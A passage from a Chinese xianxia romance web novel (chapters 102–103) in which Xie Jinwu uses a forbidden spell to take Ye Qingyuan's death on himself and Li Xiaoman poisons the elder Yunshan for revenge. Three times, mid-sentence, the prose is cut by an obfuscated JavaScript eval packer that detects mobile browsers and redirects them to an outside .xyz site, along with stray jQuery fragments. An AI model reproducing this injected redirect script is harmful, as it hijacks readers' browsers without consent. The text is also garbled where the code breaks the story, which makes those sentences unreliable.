云山摇摇头,一如当年世家大考之后,他挥着笔试第一奖励的乌木法器,嘲笑顾九枝太过心软。 “不论今天的事要怎么收场,我都会办好长老院交代给我的这件事,彻底铲除谢家之人,永绝后患。” “我云山活了几十年,从未错过。纵使你今日要杀了我,我依然会坚持自己的想法。”他沉声,一字一句,无比笃定,“师姐,我、没、错。” 顾九枝闭上双眼,无力叹息。 “你们几个,不许再给这个渡亡的人输送灵力!” 云山高声吩咐阵法旁的几名渡真子弟,随后偏过脸,对着顾九枝冷声道:“既然这道阵法会将内中的人都困死,那就让谢长生和谢尽芜都死在里面不好吗?至少我还给了他们一次与族人团聚的机会。” 他话音落下,白璟身后的几名渡真子弟却纹丝不动,依旧在他输送灵力。 云山见状不由恼怒道:“你们是聋了吗?” 其中一人抬起眼,静静说道:“云山长老,我们只听家主的吩咐。” 顾九枝轻声道:“云山,等阵法里面的人出来再说吧。” “你们!” 云山拂尘一扬,就要亲自上前解决,倏忽却听剑风凌厉,他悚然一惊立刻旋身躲避,却见一柄雪亮的长剑将他手中拂尘割断成截,插.进了他方才所站立的位置。 谢尽芜走出法阵。 他显然也受到了法阵的影响,脸色苍白,神情阴郁而冷肃:“认得这是谁的剑吗?” 云山睁大双眼,尚未开口,顾九枝却眉目一凛。 ——那是谢长生的剑。 谢长生死了吗? 顾九枝睫尾轻颤,隔着雪帘轻轻冲白璟身后的弟子们稍一颔首。众人撤手离开,只留着白璟一人坚守此地。 云山冷笑道:“师姐为何此刻停手?这时候不担心阵法反噬了?” “云山,”顾九枝淡声道,“你难道还没有发现,进入阵法的弟子全都是你们长老院的人吗?” 云山拧着眉凝视着她,一瞬的思索,竟是串联起了所有的前因后果。 昨晚进入阵法的弟子全部都是长老院的人,他们早已被阵中冤魂打上印记,一旦阵法失控,冤魂反噬,首当其冲的便是这些人。 所以,顾九枝才果决利落地命令众人撤手,不必再管。 除掉这些长老院的人,本就在顾九枝的计划当中。 云山的心跳漏了一拍,如被一块大石压中,手足霎时冰冷,难以置信地指着她道:“顾九枝!你,你竟是想借此次机会清除异己?!你这狠心的——” 谢尽芜没有耐心再等他废话,当即提剑纵身杀去。 云山左肩本就带伤,拂尘又断,此时已然落了下风。谢尽芜衣袂飞扬,掌中剑锋依旧亮得刺目。霎时间,崎岖不平的雪地上劲气激荡,雪片漫卷,近乎遮天。 云山抬掌一抓,隔空取来一名弟子的佩剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948892|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手腕翻转挽了个剑花,冷笑道:“凭你还想杀我?” 谢尽芜冷眼望他,眸中已经显出血红。 两人越战越远,剑气波及范围越大。千万道剑芒交织成漫天的星点,道旁梅枝断裂,乱雪狂舞。 余下众弟子见状,皆是沉默不语。 一人悄声道:“所以,长老院真的……为了前任家主,而灭掉谢氏一族吗?” 他声音不高,却刚好叫在场的渡真弟子们都听清。 一时之间,众人脸上神情亦是精彩纷呈。 “我觉得这件事吧……”这人顶着周围投来的目光,咬牙道,“不厚道。” 有他开了个口子,其余弟子们胆子皆大了起来,也说出了憋在心里的话:“何止不厚道!简直是心狠手辣!” “灭了人家的族,还要泼脏水,说冽雪山谷有妖鬼作乱,这是什么行为啊!” “丧心病狂!” “啧,这些事如果都是真的,我是不想再学了。辛辛苦苦学了这么多年,到头来竟是成了个刽子手。老子来渡真可不是为了杀人的!” “就是就是!” “我也不学了!” 一时之间,理想崩塌,厌学情绪陡升。 顾九枝在山石后静静听着,等众弟子情绪宣泄得差不多了,才现身淡声道:“你们能有此觉悟,很好。” 众弟子没想到她会忽然出现,吓得连忙噤声,又大着胆子道:“家主,你也觉得这些事不应该吗?” “可是前任家主也确实是死在谢拱辰的手里,难道你就不恨吗?” 顾九枝温和的视线看过在场每一个人,轻笑道:“亲情确实难以割舍。可若是为了亲情,而抛弃世间道义,不顾正邪之分,肆意妄为,盲目决定,才是不应该。” “我自然会恨,可是我也知道,仇恨是最于事无补的东西。”顾九枝望着弟子们稚嫩却认真的脸,“与其因为仇恨而做出种种欺瞒之举,不如直面自己的内心,认真地想一想,当下情况,我们最应该怎么做。” 她声音温和,语调平缓,很轻松地安抚住了弟子们躁动的内心。 弟子们闻言,俱是一怔,胸腔中激烈的恨意也消弭许多。 - 阵法前,白璟跌坐在墨色山石上,依旧撑持着最后一口气,想要渡尽阵法中困锁的冤魂。 那只引魂铃从未完成过如此艰巨的任务,镂刻了咒文的边缘已经开出一道细微裂缝,连铜舌的光芒都黯淡许多,仿佛再使用下去就要寿终正寝了。 白璟忍住喉间的腥甜,涩声地骂着:“我每天轻拿轻放地护着你,还总是找一些灵草为你加持法力,到头来你竟这般没用!” “等回家以后,我一定禀明了父亲,将你换掉!”他耐不住似的轻咳一声,殷红的血当即喷洒在雪地中。 他怔愣地看了一会儿,笑得比哭还难看,“到底是谁没用啊?好像是我更没用哪……” 局面太乱了,阵法的灵力波动几近失控。 谢尽芜首当其冲,识海蓦地传来一阵剧痛,一股莫名的情绪涌入脑海。 他发红的眸中淌下泪水,心跳竟是被硬生生逼停了两息,手中剑势乍收。云山趁虚攻来,剑锋“噗嗤”一声刺入他的左臂,热血泼溅! 冤魂的哭喊声越来越大,众人分明站得很远,却依旧能听到这萦绕耳畔的尖利嗓音,纷纷默念静心诀,再撤数十丈。 就算阵法失控,冤魂反噬,遭殃的也只有谢尽芜和那几个渡真子弟。 他们只听家主的吩咐,才不会主动去掺和这些事。 ——以至于根本无人注意到,叶清圆顶着纷飞的雪和冤魂的哭嚎,踉跄地来到了白璟的身后。 一只温热的手贴在他的肩头,灵力源源不断地渡过来,引魂铃霎时迸发出耀眼的光芒。 白璟回头一看,惊喜道:“叶姑娘!” 102. 逆转 叶清圆不忍心看他满脸是血的狼狈模样,移开视线轻声道:“静心。” “嗯,好。”过了一会儿,白璟又忍不住道,“叶姑娘,你能来真是太好啦,刚才我还担心自己会坚持不下去。” 叶清圆垂眸道:“对自己这么没有信心吗?” “你不知道,刚才我当着渡真家主的面说了许多大话,若是这么快就撑持不住的话,会叫人瞧不起的。” 白璟低声笑了笑:“其实我是个特别要面子的人。” 他的肩头已经发出细细的颤抖,脸色也愈发苍白。 叶清圆道:“……别笑了!” 这道引魂铃的运转就好像是个无底洞,灵力灌进去当即就不见了踪影。纵使有着本命珠的加持,叶清圆也不可避免地感受到体内灵力的流逝,宛如被抽干了血液,一时间不由得视线模糊,头脑发昏。 纵然是自尽,人在濒死的时候也会下意识地尽一切办法求生。 求生的本能让她生出放弃的念头。 ……好想就此撤手,远离这吸血精怪似的阵法。 可是不行,她一旦停手,遭到阵法反噬的就会是谢尽芜。 谢尽芜过去的十九年已经吃了太多的苦,他好不容易才走到今天,她不想让他再难过。 叶清圆忍住痛楚,偏过头,目光殷切企盼,想要穿过细密飞旋的雪帘寻找谢尽芜的踪影。可是雪太大了,风也太急,她极目望去,也只能望见偶然明灭的几道剑光。 白璟察觉到她渡来的灵力已经愈发虚弱,出声道:“叶姑娘,经此一遭,我终于明白为何你们总说我幼稚了。” 叶清圆此刻真是服了他这个话痨,怒道:“别说话了!” “不,我要说,”白璟道,“我……是谁?!” 他话音未落,左肩猛然被人拍上一掌,一阵雄浑刚猛的灵力灌进他的臂膀。 叶清圆也讶异地转头看去,竟是一名渡真弟子,不知何时穿过风雪走了过来,正沉默地为白璟渡灵。 白璟冷声道:“你们家主不是不许你们出手吗?” “家主自有她的安排,我只是见不得二位为了这道阵法而堵上性命。” 那名渡真弟子道,“况且,若是阵法失控导致冤魂的怨念反噬,我和师兄弟们也同样难逃一死。” 白璟嘲讽似的哼了一声:“你倒是还有个人样!” 有外人在,他也不愿意继续方才的话题了。 那名渡真弟子轻声说:“我只是不想再看着无辜的人失去性命。毕竟这山谷之中,已经掩埋了太多的尸体。” 白璟一挑眉,对他的态度感到很是讶异。 他又道:“或许你们的心中也在恨我。可是我毕竟出身渡真世家,对许多事情也无能为力,只好在能力范围内做一些无愧于良心的事。” 白璟道:“你这样不算违背家主的命令吗?” 渡真弟子笑道:“违背便违背吧,大不了将我逐出家门。到时若我真的是走投无路了,还望白少主可以收留在下。” 白璟笑着轻哼一声:“你想得美!” 眼见得这引魂铃的光芒大盛,耳畔的冤魂嘶吼声逐渐平息下去。阵法的淡金色灵光涌动如浪潮,又湮灭似墨迹褪去。 就要成功了。 沉默之际,那名渡真弟子忽然淡声道:“叶姑娘,你的手臂上可是有一道护身咒文?” 叶清圆的手腕就搭在白璟的肩头,此时手臂上那道咒文就露出来,表面有淡淡金光浮动,想不惹人注目都难。 她懒得遮掩,却也不怎么想搭理此人,只“嗯”了一声。 那名渡真弟子顿了一下,又道:“听闻这道咒文很是厉害,下咒之人须得耗费大量灵力,才能保证中咒之人的安然无恙。叶姑娘现今,必然是刀枪不入的吧?” 他嗓音低沉,说的全是些不着边际的话,白璟都听烦了:“能不能闭上你那张狗嘴?少说几句!阵法马上就破了,凝神!” 那弟子恍若未闻,继续道:“那叶姑娘知晓,这种护身咒文有个天大的破绽吗?” 叶清圆神色一变,心中没来由地升腾起一阵恐慌之意。 刺目的刀光闪过,这变故来得好快,她根本来不及反应,心口蓦地传来剧烈的痛楚。 转头看去,那名渡真子弟一手搭在白璟的肩头仍在渡灵,另一只手却是持了柄锋利的短刀,从后头狠狠刺进了她的心口。 他脸上笑意淡淡:“渡灵的时候,这道护身咒文是短暂失效的。怎么,叶姑娘竟不清楚这一点吗?” 他用的力气太大,整个刀锋都没入她的后心,刺穿心脏,继而用力拔.出,鲜血泼溅! 叶清圆只觉得整个胸腔都在作痛,呼吸也愈发困难,浑身的血液似乎都停止流动。 不过两息过去,她的脸色都白成了雪。 白璟瞠目欲裂,连声音都在颤抖:“叶姑娘!” 叶清圆拼尽最后一丝气力,咬牙颤着手将仅存的灵力也渡给白璟。 最后一道冤魂被渡化,泛着灵光的阵法如退潮般消弭。 灰白的天光再度涌进来,细雪飘拂。 引魂铃终于完美地完成了任务,铜舌一响,坠落在地。 叶清圆眼帘半阖,跌倒在雪地里也丝毫不觉得疼痛,只觉意识逐渐消散。 视线朦胧间仿佛是白璟颤抖着手扶起她。 他那张青涩的脸上满是恐慌与焦急,大张着嘴唇不停呼唤着什么。 她却听不清了。 脑海深处却忽然传来系统的提示音。 “系统提示,主线任务一:为角色【江云初】替命已经完成!恭喜宿主圆满完成所有任务!” 随即又是满屏的鲜花、掌声与奖章。 “奖励将会在审核通过后发放至宿主的手中,请宿主耐心等待。提示:等候期间,宿主可以打开面板并选择一个心仪的小世界,作为今后的生活地点。系统将在四个时辰后将宿主传送至新的世界。” “系统在此诚心祝愿宿主:前路烂漫,无忧无惧!” 前路烂漫,无忧无惧。 叶清圆很想扯起唇角笑一下,她来到这个世界的所有任务终于都完成了。 很快,她就会离开这个世界,去往一个她亲自挑选的温暖且舒适的地方。 再也不会有妖鬼肆虐,刀剑恩仇。 可是,也没有谢尽芜。 阵法消失。谢尽芜再也不会遭受冤魂的反噬,他会好好的活下去,活在没有她的世界里。 他们两人将会生活在完全不同的两个世界。 所有的经历对他们而言,就像是玩了一场惊险刺激的游戏。 游戏结束,红幕落下,灯光熄灭。他们各自退场,回到自己原本的位置。 从此就如平行时空那般,永无交集。 她闭上眼,眼泪却止不住地流。 下一瞬,那名渡真弟子却瞪视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952845|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她汩汩涌血的后心,神情惊诧得倒像是活活见了鬼。 “……转玄三术?” 话音落下的瞬间,叶清圆的肺里蓦然涌入大量冷冽的空气,仿佛溺水的人骤然浮出水面,她大口呼吸着,脸颊也慢慢浮现出红润的血色。 “系统提示:检测到有不可抗力扭转宿主的生死因果,请宿主耐心在该世界多等候片刻,系统正在为宿主排查干扰因素。” 白璟吓了一跳:“叶姑娘,你你你你你没事啦?” 那名渡真弟子见状咬牙,持刀又刺向叶清圆,这次却被护身咒文给抵挡住了。震得他手臂都发麻。 白璟怒骂着砰砰给了他两拳,又因体力不支跌倒在雪地里,剧烈咳嗽起来。 那名渡真子弟没有再下手的机会了,转身,泄愤似的揍了白璟两下,拧眉离去。 细雪静谧地落,冷风不息。 叶清圆挣扎着起身,尚且有些惊魂未定。 她探手摸了摸自己的心口,那里本该有一处很深的伤口,此刻摸起来却光滑无比,唯有血迹。 “怎么回事?” 为什么她会没事? “刚才那混账说是什么……转玄三术,很熟悉的名字。”白璟连引魂铃都顾不得拾起来,跌坐在地,不住重复道,“总之叶姑娘没事就好、没事就好了……阵法也消失了,哥也没事了,大家都没事了……” 叶姑娘的心头却一点儿也不安宁,没有半点劫后余生的喜悦。 她站起身朝着周遭望去,思绪混乱犹如转风车似的不停地想道:转玄三术、转玄三术。 转玄三术:伤、病、亡。 这不是谢氏一族的秘传术法吗? 本该降临在她身上的死亡被人逆转了。 被谁逆转了? 雪幕铺天盖地,远处山坡上有剑光闪烁,叶清圆几乎是不自控地朝着那里走去。 惶恐与不安狠狠攥住了她的喉咙,她分明没有受半点伤,却忽然觉得呼吸都不畅快,眼眶中都憋出了滚烫的泪水。 “系统提示:已经排查出是角色【谢尽芜】使用禁术,将宿主强行留在了这个世界。宿主若认为该结果不合理,可点击下方链接进行申诉,系统将会为宿主处理。” “系统提示:角色【谢尽芜】的黑化值已经高达80%,请宿主注意闪避!” “系统提示:任务奖励已经发放至宿主的账户。宿主可以挑选喜欢的小世界啦,点击即可查看哦!” 风雪尽头,隐约可见渡真世家衣袍上的泼墨纹,是再素简不过的黑白两色,真雅致,可是这份雅致的底下却都包藏着难堪的祸心。 叶清圆抬眼望见那一张张或漠然或嘲讽的脸庞,忽然觉得每个人都面部可憎。 白璟追在她身后,焦急道:“叶姑娘,你要去哪里?” “我要去陪他,我要去陪他。”叶清圆的思绪纷乱,口中不住喃喃着这句话。 白璟浑身虚脱得没多少力气,很快就追不上她的脚步,他头脑一昏,跌坐在冰冷的雪地里。 叶清圆深一脚浅一脚地朝着明亮的剑光走,终于风雪不再掩人耳目。 她看见谢尽芜剑锋调转刺穿了云山的胸膛,云山痛呼一声栽倒在地,连剑都被断成两截。 ——云山已无力再反抗,因为右手与左腿已经被谢尽芜用剑砍断。 她又将目光投向不远处的谢尽芜。 他冷然而立,浑身浸满了鲜红的血。 103. 落幕 云山倒在泥泞的雪地里,身上白袍已经被鲜血和污泥染得不见本来颜色。 他最喜洁,此刻分明满身脏污,却是一点都不恼怒,反而是咬牙笑了出来。 他从血红的牙关中挤出一句嘲讽:“谢尽芜,你睁眼看看,这冽雪山谷里可都是我们渡真的人,你有什么把握能报仇?” 谢尽芜不语,却将剑丢在了雪地里。他缓步走过去,俯身,左手攥住云山的衣领,右手握拳,高高扬起,迅猛地砸在云山的脸上。 一声闷响,云山偏过脸去,满面血污。 谢尽芜的指骨都渗出了血迹,他冷声道:“十五年前,你也这么伤害我族之人的吗?” 云山的脑袋都被他这一拳打得嗡嗡作响,根本没听见他说什么。谢尽芜见状又是一拳,将他鼻梁骨打断。 他可不是专攻剑术之人,在希夷殿的那段时间,他近身格斗练了六年。 此时若不是收着力打,云山未必还能喘气。 云山晕眩着在雪地里躺了两息,勉强恢复了一点意识,嘶声挑衅道:“来啊,为你的族人报仇雪恨啊!谢尽芜,纵使你将我千刀万剐,你的族人,你的父母,他们的尸身也早已化作白骨,绝不可能再活过来!” “你觉得自己现在杀了我就会很痛快吗?哈!我告诉你,十五年前我带人灭掉谢氏族人、围杀流光山馆的时候,我心中的畅快,你永远都不可能体会!” 谢尽芜皙白的脸颊上沾满了血,只露出一双冰冷如深潭的眼睛。 他转身拿剑,眸光冷漠带着摄人的寒光,却不掺杂一丝一毫的情绪。 纵使听到云山的刻意挑衅,却也连怒意与恨意都没有。 和云山打了这么久,他恍惚间又有了当初在希夷殿时,那种无喜亦无惧、视性命为草芥的感觉。 血液沸腾,一颗心却像是冷到了冰窖里。 杀戮变成了最有效的解决问题的方式。 手起剑落,恩仇俱消。 可是不对。 还有哪里不对。 谢尽芜茫茫然摸不着头绪,肢体动作却已经快于意识。他垂眸挥剑,剑锋雪亮,就要刺穿云山的咽喉! 蓦地,他的心口传来一阵剧痛。 持剑的手失了气力,长剑“当啷!”一声掉进雪地里,剑柄砸在云山染血的衣摆。 谢尽芜捂住心口,踉跄着后退半步,秀挺的眉头狠狠皱起。 他的识海蓦地清明,杀意渐消。 浑身的力气被抽干,将要失去意识时,却听见一声唤:“谢尽芜!” 很奇怪,在听到叶清圆的声音时,谢尽芜的第一反应是慌张。 他浑身都是血,此刻必定像个满身煞气的修罗。这不好,不可以让她看到自己这副样子,她会害怕,会厌弃,甚至有可能离他而去。 谢尽芜在意识到这一点的同时,手腕仓促地动起来,企图将沾满血的双手藏在身后,不叫她看到。 尽管这是徒劳无功,因为他的脸上和衣袍已经没有干净地方了。 谢尽芜感觉到自己心头的疼痛,感觉到自己性命的流失。他知道是转玄三术在发动,他要代替叶清圆去承受伤亡。 太好了,是他。 他努力将视线聚焦在叶清圆的脸上,努力想要看清她的样子,同时唇角扯起一抹微笑。 垂死之际,他满身是血,眼睛在说爱她。 云山心中狂喜,快速匍匐到不远处,左手拾起地上的长剑,小人得志似的就要趁势杀了谢尽芜。 叶清圆甩手祭出一道符,只听轰然爆响,他持剑的左手也被炸得血肉横流! 云山痛苦哀嚎,当即昏厥过去。 谢尽芜强撑着最后一口气,那双殷润漂亮的眼珠艰难地转动过来,眸中涌动着柔和光芒,努力想要看清她的脸。 他的意识已经涣散,却在下意识关心她,声音还带着薄怒:“说了不许你过来,怎么这么不听话……” 叶清圆看着他逐渐失焦的目光,泪水哗地流淌下来,哽咽道:“谢尽芜,谁让你用转玄三术的?我叶清圆有八百条命可以用来胡乱造,用得着你这么舍己为人吗?!” 滚烫泪水连同温热气息一齐扑在谢尽芜的脸上,他的眼睫颤了一颤。 却听叶清圆骂道:“混蛋,谢尽芜,你自以为是,胡作非为,你就是个混蛋!” 谢尽芜被她骂了却很开心的样子,在生命的最后时刻,他无声念出了他们的契约:“互相爱恋之人,互许终身,携手……到老。” 若违此契,废半身修为,半生寿命。 所以,在许家庄那个寂静的雪夜里,他们结下道契的时候,谢尽芜就对她使用了转玄三术。 结契的咒文根本就没有那么长,可谢尽芜那晚却念了许久,神情也有些痛苦。当时叶清圆只是有些好奇,没多想。如今才知道,他竟是偷偷给她设下了转玄三术。 道契已成,转玄三术同时生效。今后所有的伤、病、亡,都会尽数转移到他的身上。 “清圆,你我之间的道契已解。”谢尽芜的唇角扯起一抹寥落笑意,“我不会再纠缠你。你可以……回家了。” 说罢,那双漂亮的眼眸彻底黯淡下去。 原来他早就知道,她不属于这里。 他的眼眸曾经是那样幽邃而干净,就像山中的冷潭,看着凛冽,其实要真的懂他才能明白,那潭底涌动的并非是充满碎冰的暗流,而是再柔暖不过的春水。 可是她再也见不到了。 叶清圆后知后觉,眼泪如断了线的珠子落下来,砸进他染血的衣领上,晕染出一朵朵血花。 她咬牙将脸颊埋进他的颈窝,痛苦到浑身都在颤抖,头脑闷痛得仿佛有锤子在死命地敲。 所有的任务都结束了,戏该落幕。 按照系统的安排,半日后,她就可以拿着颁发的奖章和巨额资财,随意挑选一个温暖舒适的小世界,度过她快活的后半生。 而谢尽芜将会长眠在开满了红梅花的冽雪山谷中,身上覆满了凌冽的雪,从此再也不会和他的族人们分开。 刀折剑沉,血涸仇泯。 她的眼泪却停不下。 谢尽芜是这么执着,却这么傻的人。 他分明什么都不讲,好像完全不在乎冽雪山谷之事。其实心里却在乎、紧张得要命,在她完全不知道的情况下,竟是为她设了两道秘传术法。 一道护身咒文,护她此生安然无恙,不管今后怎么胡闹,都不会受一点伤; 另一道转玄三术,纵使她将性命都弄丢了,他也会想尽办法为她找回来。 哪怕代价是他自己的性命。 叶清圆低下头,气息颤抖,在他冰冷的额心落下一吻。 她吻得轻柔而长久,一如那个静谧却可爱的雪夜,他们撑着伞走过枫林酒馆,走进晴雪院,走到那株盛开的红梅树下。 她乖顺地趴在他的背上,在他脸颊落下的那一个吻。 在那些堆金砌玉的日夜里,他们曾有过那么多约定。 要一起过春天,办春日宴,过花朝节。 他要和她一起牵手走在和煦明暖的阳光下,看春花满山坡。 可是如今什么都没有了。 叶清圆哭得心口发闷,控诉道:“骗子。” 没有人回应她。 颈间系着的白玉栀子掉出她的领口,沾染了谢尽芜唇角的血迹。 “骗子!” 她埋头在他颈间,细小的抽泣声逐渐控制不住,她肩头颤抖着,放声大哭。 哭声和着谷中呜咽的山风,宛如一曲悲凉的胡笳。 倏忽,一点暗蓝色的光芒闪过,栀子花的内中竟有灵力隐隐流转。 光波荡漾着流淌开来,逐渐汇聚成一道璀璨星河。 - “云山长老,云山长老!” 雪停风息,云山仓皇奔逃在荒芜的山道,身后莹莹雪地被他拖出一道狰狞的血痕。 他的两条臂膀都断裂,热血染红了水墨袍,形容狼狈,满面血污。 李小满气喘吁吁地搀扶在侧。 他是少年体格,本就力气不大。可云山是个成年男子,又失了双臂,根本是逃也逃不快。李小满费了好大的力气给他包扎好,半是搀扶半是背负,好不容易才将他转移到此处。 “慢,歇息一会儿吧,此处应当是没人会追来了。” 云山重伤难愈,失血过多导致脸色太过苍白,片刻后才嘲讽地一笑:“没想到顾九枝竟是这般狠心之人,连我也要杀。” 李小满的脸上满是惶惑,他从腰间取出水壶,讷讷道:“长老,喝点水吧。” 云山的视线终于落在了他的脸上,蹙眉道:“我瞧你有些眼熟,你叫什么名字?” “李小满。”他挠挠头笑了,“长老忘记了吗?来到冽雪山谷之前,是我在长老院外跪了半天,恳求长老能给我这次表现的机会。” 他这么一说,云山仿佛是有点印象了。 他那时看到院外跪了个毛头小子,还当是来要饭的。结果一问,这小子竟是想求自己把他安排到冽雪山谷的任务之中,倒有些雄心壮志。 云山那时根本没放在心上。可转念一想,冽雪山谷中情况复杂,万一出了什么岔子,眼前这小子还能当个血包,免得长老院亲传的弟子们受伤。 所以,他答应了李小满的恳求,将他安排在第一批探查山谷阵法的队伍中。 可到头来,亲传弟子们一个个逃之夭夭,他安排过来当血包的李小满却不顾自己安危,任劳任怨地将他从山谷中救了出来。 何其讽刺。 云山若有所思道:“若我没记错的话,你现在是渡真的外门弟子。” 李小满有些不太好意思地笑了:“我……不太聪明,跟着顾景年师叔学了许多年,至今也只学了皮毛。” “嗯,无妨,”云山仰靠在树干上,“等回到渡真之后,我便收你为徒,将你记在长老院门下。” “真的吗?” “自然。” 李小满笑了,笑意不达眼底。 他埋首为云山擦拭了手臂的血迹,又洒了些止血的药。 他的动作认真,给云山抹药的手法也很虔诚,仿佛在进行什么仪式。 过了一会儿,李小满轻声道:“我的资质平庸,也没有开窍,来到渡真以后除了屡屡受挫就是到处给人做小弟,照这么发展下去,就算我再努力,撑死也不过是个年龄很大的小弟。长老一定很好奇,为何我连半点希望都看不到,却还想要挣扎着留下来,对不对?” 不对,云山一点都不好奇。 但是云山没吭声,咬牙忍痛。 只因为此刻还需要李小满给自己疗伤,所以勉强忍受着他的废话。 “其实我拼命想要留在渡真,就是因为云山长老。”李小满低声道,“我从小就没有父亲,他若是活着,年岁应该和长老差不多大。” 话音落下,云山惊得差点将眼珠子瞪出来。 目光在他脸上用力扫过两圈,确认这孩子没得疯病,才低声道:“你注意措辞!” 李小满抿了抿唇,故意跟他较劲似的:“我从小就没见过我爹。我娘从来不曾提起过他,只说他是死了。” 云山拧眉,瞪视着他。总觉得李小满这模样有些熟悉。 “我娘生得十分漂亮。街坊邻居们都说,她年轻时曾是苏城里有名的绣娘,什么都会绣,什么都绣得像是真的,可是自我记事以来,阿娘就从来没绣过任何东西。 女人相貌柔美,一双含情美目宛如蒙上烟雨般,不笑也撩人。 李小满那时年纪虽小,却也能从邻居们的话语中听出些东西。 比如嘲讽,比如耻笑。 女人不曾成婚,青梅一样的年纪,却先孕育了孩子。 一个不知生父为谁的孩子。 “我六岁的时候开始念书,学堂先生夸我聪慧,过目不忘。我很高兴地跑回家,想要将先生夸我的话讲给阿娘听,本以为阿娘会对我很欣慰,可是阿娘却训斥了我一顿。 母子两人相依为命,离开苏城,一路辗转。途中受尽白眼,吃遍了苦头。 她早已不是绣娘了,常年的劳作让女人本来柔嫩的手心生满了薄茧。 她也不像从前那样白,夏日暴烈的阳光让她的肌肤发黑、粗糙。 “阿娘告诉我,做人是不可以太得意的,得意就要忘形。一旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958273|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘形,便容易招惹灾祸。” 云山总觉得不太对劲,仰头靠在粗糙的梅树静静地听。 李小满这架势倒像是有点犯病的意思,迫不及待地将自己的身世经历讲出来给他听。 谁问他了? 李小满抬眼瞥了一眼云山的脸色,继续道:“我很听阿娘的话,阿娘叫我不要张扬,我便低下头做人。我们两个就这样相依为命,很艰难地过日子。” “可是后来阿娘病了。” 女人不住地咳血,缠绵病榻,虚弱至极。曾经美艳的面容也被病痛折磨得宛如枯萎的娇花,让人视之不忍。 “她得的病很是奇怪,我求遍了全城的大夫,他们却说,从来没见过这种病。我们都觉得很奇怪,阿娘平日里身体很是康健,为何会一夜之间就患了那么罕见的病呢?” 李小满抬起眼,目光冷冷地注视着云山:“云山长老,你有什么头绪吗?” 云山越听眼睛睁得越大,到最后脸上表情竟像是活见了鬼:“你、你是……” 李小满静静看着他,想听他会说出什么话来。 可是云山皱着眉思索许久,竟像是根本想不起来的模样。 他酒后一夜风流,悔恨不已,留下钱财,头也不回地离开。 却全然不顾,女人活在众口铄金中,将会承受何种痛苦。 “所以在你的眼中,我们这种人就卑微如草芥,如蝼蚁。” 李小满讥讽地一笑:“微不足道得被你利用致死,而你却连我们的姓名都记不住。” 云山胸腔中气血翻涌,低声道:“你到底想要什么?” “我什么都不要,只要你为我娘的死付出代价。” 坏了,这小子一心为他娘讨回公道,怕是不好对付。 云山皱眉,缓了片刻,决定先稳住他:“那些事情都已经过去了。你若是能就此放下,等回到渡真之后,你想要什么东西我都可以给你。” “我稀罕吗?真当你们渡真的东西是什么香饽饽吗?” 李小满嘲讽道:“自从来到渡真,我就再也没有一天开心。我想法设法地接近顾景年,再利用顾景年接近你,你知道我遭受过多少屈辱与嘲笑吗?可是为了给阿娘报仇,我可以忍,忍到你们所有人都对我放下戒心,忍到真相大白的那一刻。” 说到此处,李小满竟是笑了出来:“你还妄想能回到渡真,做你的云山长老吗?你难道还看不出来,顾九枝早就想铲除包括你在内的长老院吗?你想要回去,到时等着你的恐怕也只有一死吧。” 话音落下,云山的唇边蓦地涌出大量鲜血。 他的眼珠逐渐失去光彩,神情也呆滞许多。 方才李小满为他洒上的大量“止血药”,终于起了作用。 李小满冷冷看着他的脸,看着他脸色青紫,口鼻中流出乌黑的血迹。 云山眼眸大睁,从齿关中挤出一句痛苦的责问:“你……!你做了……什么?!” 风冷雪清,李小满的神色显出短暂的茫然。 他恨了十几年的云山,又怕了十几年的云山,原来也有着一条如此脆弱的性命。 在这个修行界呼风唤雨几十年的云山长老,一点剧毒,就可以置他于死地。 原来在死亡面前,人人都是平等。 许久后,李小满才淡声道:“阿娘生病之后,我们花光了所有的积蓄,甚至到处借钱,也没能治好她的病。” “我不再去学堂念书,将书包和课本卖掉,出去到处给人搬箱子卸货,只求挣那一点铜板,能买得起两个窝头。 李小满拿起洁白的纱布,动作很轻地擦去云山脸上乌黑的血。 给他最后的体面。 “没人知道阿娘生了什么病,她只是痛得神志不清,痛得恨不能拿刀要伤害自己。那两个铜板硌得我手心都在疼,我站在门外听着阿娘的痛呼声,却连买药都不知道该买什么。 “没过多久,阿娘就再也忍受不住这种痛苦,喝药自尽了。” 山风呼啸,雪飘簌簌。 李小满跌坐在冰冷的山石上,声音发涩。 泪水早已流尽了,此刻再难过,也哭不出来。 “下葬的那天,我去收拾阿娘的枕头被褥,这才发现那枕头底下竟还压着好多铜板以及一张字条。” “她叫我不要放弃念书。” “我拿着那些钱又去学堂。” “再后来,有一位姓谢的白衣公子找到了这里。他告诉我,我娘本来没有生病,只是中了转玄三术,替顾千城的夫人承受了病情。” 简陋的木屋里,李小满哭得嗓子都哑了。 